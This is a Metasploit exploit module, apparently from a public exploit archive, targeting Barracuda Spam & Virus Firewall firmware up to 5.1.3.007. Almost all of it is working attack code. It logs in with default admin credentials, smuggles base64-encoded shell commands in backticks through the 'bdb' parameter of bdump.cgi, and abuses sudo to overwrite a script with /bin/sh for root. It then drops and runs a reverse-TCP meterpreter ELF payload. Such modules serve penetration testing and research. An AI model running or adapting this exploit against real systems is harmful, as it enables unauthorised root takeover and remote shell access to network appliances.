# Exploit Title: Barracuda Spam & Virus Firewall Post Auth Remote Root Exploit
# Date: 07/21/16
# Exploit Author: xort xort@blacksecurity.org
# Vendor Homepage: https://www.barracuda.com/
# Software Link: https://www.barracuda.com/landing/pages/spamfirewall/
# Version: Spam and Virus Firewall <= 5.1.3.007
# Tested on: Spam & Virus Firewall 5.1.3.007
# CVE : None.
require 'msf/core'
require 'date'
require "base64"
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Exploit::Remote::Tcp
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Barracuda Spam & Virus Firewall (bdump.cgi) Post Auth Root Exploit',
'Description' => %q{
This module exploits a remote command execution vulnerability in
the Barracuda Spam & Virus firewall firmware version <= 5.1.3.007 by exploiting a
vulnerability in the web administration interface.
By sending a specially crafted request it's possible to inject system
commands while escalating to root do to relaxed sudo configuration on the local
machine.
},
'Author' => [ 'xort' ], # disclosure and exploit module
'References' => [ [ 'none', 'none'] ],
'Platform' => [ 'linux'],
'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' },
'Targets' => [['Spam Firewall firmware: 5x', {}]],
'DefaultTarget' => 0 ))
register_options(
[
OptString.new('PASSWORD', [ false, 'Password', "admin" ]),
OptString.new('USERNAME', [ true, 'Admin Username', "admin" ]),
OptString.new('CMD', [ false, 'Command to execute', "" ]),
Opt::RPORT(8000),
], self.class)
end
def do_login(username, password_clear, et)
vprint_status( "Logging into machine with credentials...\n" )
# vars
timeout = 1550;
enc_key = Rex::Text.rand_text_hex(32)
# send request
res = send_request_cgi(
{
'method' => 'POST',
'uri' => "/cgi-mod/index.cgi",
'vars_post' =>
{
'password_clear' => password_clear,
'real_user' => "",
'login_state' => "out",
'enc_key' => enc_key,
'et' => et,
'locale' => "en_US",
'user' => username,
'password' => Digest::MD5.hexdigest(username+enc_key),
'enctype' => "MD5",
'password_entry' => "",
}
}, timeout)
# get rid of first yank
password = res.body.split('\n').grep(/(.*)id=\"password\" value=\"(.*)\"/){$2}[0] #change to match below for more exact result
et = res.body.split('\n').grep(/(.*)id=\"et\" value=\"([^\"]+)\"/){$2}[0]
return password, et
end
def run_command(username, password, et, cmd)
# file to replace
sudo_cmd_exec = "/home/product/code/firmware/current/bin/mysql_add_cluster_user.sh"
sudo_run_cmd_1 = "sudo /bin/cp /bin/sh #{sudo_cmd_exec} ; sudo /bin/chmod +x #{sudo_cmd_exec}"
sudo_run_cmd_2 = "sudo #{sudo_cmd_exec} -c "
vprint_status( "Running Command...\n" )
# random filename to dump too + 'tmp' HAS to be here.
b64dumpfile = "/tmp/" + rand_text_alphanumeric(4+rand(4))
# decoder stubs - tells 'base64' command to decode and dump data to temp file
b64decode1 = "echo \""
b64decode2 = "\" | base64 -d >" + b64dumpfile
# base64 - encode with base64 so we can send special chars and multiple lines
cmd = Base64.strict_encode64(cmd)
# Create injection string.
# a) package the base64 decoder with encoded bytes
# b) attach a chmod +x request to make the script created (b64dumpfile) executable
# c) execute decoded base64 dumpfile
injection_string = b64decode1 + cmd + b64decode2 + "; /bin/chmod +x " + b64dumpfile + "; " + sudo_run_cmd_1 + "; " + sudo_run_cmd_2 + b64dumpfile + " ; rm " + b64dumpfile
vprint_status( "sending..." )
res = send_request_cgi({
'method' => 'GET',
'uri' => "/cgi-mod/bdump.cgi",
'headers' =>
{
'Accept' => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
'UserAgent' => "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0",
'Accept-Language' => "en-US,en;q=0.5"
},
'vars_get' => {
'password' => password,
'et' => et,
'user' => username,
'role' => 'admin',
'_dc' => '',
'bdb' => '`' + injection_string + '`',
'locale' => 'en_US'
}
})
end
def exploit
# params
timeout = 1550;
real_user = "";
et = Time.now.to_i
user = datastore['USERNAME']
password = datastore['PASSWORD']
# do login and get password hash
password_hash, et = do_login(user, password, et)
vprint_status("got password hash: #{password_hash}\n")
sleep(2)
# clean up hanging prior request
run_command(user, password_hash, et, ("ps -df|grep bdump|awk '{print $2}' | xargs kill -9"))
sleep(5)
#if no 'CMD' string - add code for root shell
if not datastore['CMD'].nil? and not datastore['CMD'].empty?
cmd = datastore['CMD']
# Encode cmd payload
encoded_cmd = cmd.unpack("H*").join().gsub(/(\w)(\w)/,'\\x\1\2')
# kill stale calls to bdump from previous exploit calls for re-use
run_command(user, password_hash, et, ("sudo /bin/rm -f /tmp/n ;printf \"#{encoded_cmd}\" > /tmp/n; chmod +rx /tmp/n ; /tmp/n" ))
else
# Encode payload to ELF file for deployment
elf = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)
encoded_elf = elf.unpack("H*").join().gsub(/(\w)(\w)/,'\\x\1\2')
# kill stale calls to bdump from previous exploit calls for re-use
run_command(user, password_hash, et, ("sudo /bin/rm -f /tmp/m ;printf \"#{encoded_elf}\" > /tmp/m; chmod +rx /tmp/m ; /tmp/m" ))
handler
end
end
end
